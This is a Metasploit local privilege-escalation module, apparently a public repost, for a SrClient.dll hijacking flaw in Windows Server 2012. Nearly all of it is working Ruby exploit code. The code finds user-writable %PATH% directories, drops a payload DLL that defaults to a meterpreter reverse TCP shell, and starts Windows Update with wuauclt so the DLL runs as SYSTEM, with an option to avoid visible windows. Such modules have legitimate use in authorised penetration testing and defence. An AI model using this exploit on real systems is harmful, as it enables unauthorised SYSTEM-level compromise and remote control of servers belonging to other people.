All editions of Windows Server 2012 (but not 2012 R2) are vulnerable to DLL hijacking due to the way TiWorker.exe will try to call the non-existent SrClient.dll file when Windows Update checks for updates. This issue can be leveraged for privilege escalation if %PATH% includes directories that are writable by low-privileged users. The attack can be triggered by any low-privileged user and does not require a system reboot. This module has been successfully tested on Windows Server 2012 (x64).
c4ac29a19692bb467138f3a9bd636a4e
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Server 2012 SrClient DLL hijacking',
'Description' => %q{
All editions of Windows Server 2012 (but not 2012 R2) are vulnerable to DLL
hijacking due to the way TiWorker.exe will try to call the non-existent
`SrClient.dll` file when Windows Update checks for updates. This issue can be
leveraged for privilege escalation if %PATH% includes directories that are
writable by low-privileged users. The attack can be triggered by any
low-privileged user and does not require a system reboot.
This module has been successfully tested on Windows Server 2012 (x64).
},
'License' => MSF_LICENSE,
'Author' => [
'Erik Wynter' # @wyntererik - Discovery & Metasploit
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'Wfsdelay' => 60,
'EXITFUNC' => 'thread'
},
'Targets' =>
[
[
'Windows Server 2012 (x64)', {
'Arch' => [ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'References' =>
[
[ 'URL', 'https://blog.vonahi.io/srclient-dll-hijacking' ],
],
'DisclosureDate' => '2021-02-19',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ]
}
)
)
register_options([
OptString.new('WRITABLE_PATH_DIR', [false, 'Path to a writable %PATH% directory to write the payload to.', '']),
OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]),
OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0])
])
end
def provided_path_dir
datastore['WRITABLE_PATH_DIR']
end
def stealth_only
datastore['STEALTH_ONLY']
end
def wait_for_tiworker
datastore['WAIT_FOR_TIWORKER']
end
def force_exploit_message
" If #{provided_path_dir} should be writable and part of %PATH%, enter `set ForceExploit true` and rerun the module."
end
def grab_user_groups(current_user)
print_status("Obtaining group information for the current user #{current_user}...")
# add current user to the groups we are a member of in case user-specific permissions are set for any of the %PATH% directories
user_groups = [current_user]
whoami_groups = get_whoami
unless whoami_groups.blank?
print_status('')
whoami_groups.split("\r\n").each do |line|
exclude_strings = ['----', '====', 'GROUP INFORMATION', 'Group Name', 'Mandatory Label']
line = line.strip
next if line.empty?
next if exclude_strings.any? { |ex_str| line.include?(ex_str) }
group = line.split(' ')[0]
user_groups << group
print_status("\t#{group}")
end
print_status('')
end
user_groups
end
def find_pdir_owner(pdir, current_user)
# we need double backslashes in the path for wmic, using block gsub because regular gsub doesn't seem to work
pdir_escaped = pdir.gsub(/\\/) { '\\\\' }
pdir_owner_info = cmd_exec("wmic path Win32_LogicalFileSecuritySetting where Path=\"#{pdir_escaped}\" ASSOC /RESULTROLE:Owner /ASSOCCLASS:Win32_LogicalFileOwner /RESULTCLASS:Win32_SID")
if pdir_owner_info.blank? || pdir_owner_info.split('{')[0].blank?
return false
end
pdir_owner_suffix = pdir_owner_info.split('{')[0]
pdir_owner_prefix = pdir_owner_info.scan(/\}\s+(.*?)S-\d-\d+-(\d+-){1,14}\d/).flatten.first
if pdir_owner_prefix.blank? || pdir_owner_suffix.blank?
return false
end
pdir_owner_name = "#{pdir_owner_prefix.strip}\\#{pdir_owner_suffix.strip}"
if pdir_owner_name.downcase == current_user.downcase
return true
else
return false
end
end
def enumerate_writable_path_dirs(path_dirs, user_groups, current_user)
writable_path_dirs = []
perms_we_need = ['(F)', '(M)']
print_status('')
path_dirs.split(';').each do |pdir|
next if pdir.blank? || pdir.strip.blank?
# directories can't and with a backslash, otherwise some commands will throw an error
pdir = pdir.strip.delete_suffix('\\')
# if the user has provided a target dir, only look at that one
if !provided_path_dir.blank? && pdir.downcase != provided_path_dir.downcase
next
end
print_status("\tChecking permissions for #{pdir}")
# check if the current user owns pdir
user_owns_pdir = find_pdir_owner(pdir, current_user)
# use icalcs to get the directory permissions
permissions = cmd_exec("icacls \"#{pdir}\"")
next if permissions.blank?
next if permissions.split(pdir.to_s)[1] && permissions.split(pdir.to_s)[1].length < 2
# the output should always start with the provided directory, so we need to remove that
groups_perms = permissions.split(pdir.to_s)[1].strip
next if groups_perms.empty?
# iterate over the listed permissions for different groups
groups_perms.split("\n").each do |gp|
gp = gp.strip
# the format should be <group>:<perms>, so gp must always include `:`
next unless gp.include?(':')
# grab the group name and permissions
group, perms = gp.split(':')
next if group.blank? || perms.blank?
group = group.strip
perms = perms.strip
# if the current user owns the directory, check for the directory permissions as well
if user_owns_pdir && group == 'CREATOR OWNER' && perms_we_need.any? { |prm| perms.downcase.include? prm.downcase }
writable_path_dirs << pdir unless writable_path_dirs.include?(pdir)
next
end
# ignore groups that don't match the groups for the current user, or the required permissions
next unless user_groups.any? { |ug| group.downcase == ug.downcase }
next unless perms_we_need.any? { |prm| perms.downcase.include? prm.downcase }
# if we are here, we found a %PATH% directory we can write to!!!
writable_path_dirs << pdir unless writable_path_dirs.include?(pdir)
end
end
print_status('')
writable_path_dirs
end
def exploitation_message(trigger_cmd)
if trigger_cmd == 'wuauclt /detectnow'
print_status("Trying to trigger the payload in the background via the shell command `#{trigger_cmd}`")
else
print_status("Trying to trigger the payload via the shell command `#{trigger_cmd}`")
end
end
def monitor_tiworker
print_warning("TiWorker.exe is already running on the target. The module will monitor the process every 10 seconds for up to #{wait_for_tiworker} minute(s)...")
wait_time_left = wait_for_tiworker
sleep_time = 0
while wait_time_left > 0
sleep 10
host_processes = client.sys.process.get_processes
if host_processes.none? { |ps| ps['name'] == 'TiWorker.exe' }
print_status('TiWorker.exe is no longer running on the target. Proceding with exploitation.')
break
end
sleep_time += 10
next unless sleep_time == 60
wait_time_left -= 1
sleep_time = 0
print_status("TiWorker.exe is still running on the target. The module will keep checking for #{wait_time_left} minute(s)...")
end
end
def check
# check OS
unless sysinfo['OS'].include?('2012')
return Exploit::CheckCode::Safe('Target is not Windows Server 2012.')
end
if sysinfo['OS'].include?('R2')
return Exploit::CheckCode::Safe('Target is Windows Server 2012 R2, but only Windows Server 2012 is vulnerable.')
end
print_status("Target is #{sysinfo['OS']}")
# obtain the Windows Update setting to see if exploitation could work at all
@wupdate_setting = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions')
if @wupdate_setting.nil?
# if this is true, Windows Update has probably never been configured on the target, and the attack most likely won't work.
return Exploit::CheckCode::Safe('Target is Windows Server 2012, but cannot be exploited because Windows Update has not been configured.')
end
unless (1..4).include?(@wupdate_setting)
return Exploit::CheckCode::Unknown('Received unexpected reply when trying to obtain the Windows Update setting.')
end
# get groups for the current user, this is necessary to verify write permissions
current_user = session.sys.config.getuid
user_groups = grab_user_groups(current_user)
# get %PATH% dirs and check if the current user can write to them
print_status('Checking for writable directories in %PATH%...')
# we can't use get_envs('PATH') here because that returns all PATH directories, but we only need those in the SYSTEM PATH
path_dirs = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment', 'path')
if path_dirs.blank?
get_path_fail_message = 'Failed to obtain %PATH% directories.'
unless provided_path_dir.blank?
get_path_fail_message << force_exploit_message
end
return Exploit::CheckCode::Unknown(get_path_fail_message)
end
@writable_path_dirs = enumerate_writable_path_dirs(path_dirs, user_groups, current_user)
writable_path_dirs_fail_message = "#{current_user} does not seem to have write permissions to any of the %PATH% directories"
if @writable_path_dirs.empty?
unless provided_path_dir.blank?
writable_path_dirs_fail_message << force_exploit_message
end
return Exploit::CheckCode::Safe(writable_path_dirs_fail_message)
end
if provided_path_dir.blank?
print_good("#{current_user} has write permissions to the following %PATH% directories:")
print_status('')
@writable_path_dirs.each { |wpd| print_status("\t#{wpd}") }
print_status('')
else
print_good("#{current_user} has write permissions to #{provided_path_dir}")
end
return Exploit::CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
payload_arch = payload.arch.first
if (payload_arch != ARCH_X64)
fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch}). Only 64-bit (x64) payloads are supported.") # Unsupported architecture, so return an error.
end
# check if TiWorker.exe is already running, in which case exploitation will fail
host_processes = client.sys.process.get_processes
if host_processes.any? { |ps| ps['name'] == 'TiWorker.exe' }
unless wait_for_tiworker > 0
fail_with(Failure::Unknown, 'TiWorker.exe is already running on the target. Set `WAIT_FOR_TIWORKER` to force the module to wait for the process to finish.')
end
monitor_tiworker
end
# There are three commands we can run to get the target to start checking for Windows updates, which should launch TiWorker.exe and trigger the payload as SYSTEM
## 'wuauclt /detectnow': This triggers the payload in the background, but won't work when Windows Update is set to never check for updates.
## 'wuauclt /selfupdatemanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the WSUS settings. This is not stealthy, but works with all Windows Update settings.
## 'wuauclt /selfupdateunmanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the Windows Update site. This is not stealthy, but works with all Windows Update settings.
## the module prefers /selfupdatemanaged over /selfupdateunmanaged when /detectnow is not possible because /selfupdateunmanaged may require the target to be able to reach the Windows Update server
case @wupdate_setting
when 1
print_warning('Because Windows Update is set to never check for updates, triggering the payload requires launching the Windows Update window on the target.')
if stealth_only
fail_with(Failure::Unknown, 'Exploitation cannot proceed stealthily. If you still want to exploit, set `STEALTH_ONLY` to false.')
return
end
trigger_cmd = 'wuauclt /selfupdatemanaged'
when 2..4
# trigger the payload in the background if we can
trigger_cmd = 'wuauclt /detectnow'
else
# if this is true, ForceExploit has been set and we should just roll with it
print_warning('Windows Update is not configured or returned an unexpected value. Exploitation may not work.')
if stealth_only
trigger_cmd = 'wuauclt /detectnow'
else
# go out guns blazing and hope for the best
print_status('The module will launch the Windows Update window on the target in an attempt to trigger the payload.')
trigger_cmd = 'wuauclt /selfupdatemanaged'
end
end
# select a target directory to write the payload to
if @writable_path_dirs.empty? # this means ForceExploit is being used
if provided_path_dir.blank?
fail_with(Failure::BadConfig, 'Using ForceExploit requires `WRITABLE_PATH_DIR` to be set.')
end
dll_path = provided_path_dir
else
dll_path = @writable_path_dirs[0]
end
# generate and write payload
dll_path << '\\' unless dll_path.end_with?('\\')
@dll_file_path = "#{dll_path}SrClient.dll"
dll = generate_payload_dll
print_status("Writing #{dll.length} bytes to #{@dll_file_path}...")
begin
# write_file(@dll_file_path, dll)
write_file(@dll_file_path, dll)
register_file_for_cleanup(@dll_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Failure::Unknown, e.message)
end
# trigger the payload
exploitation_message(trigger_cmd)
cmd_exec(trigger_cmd)
end
end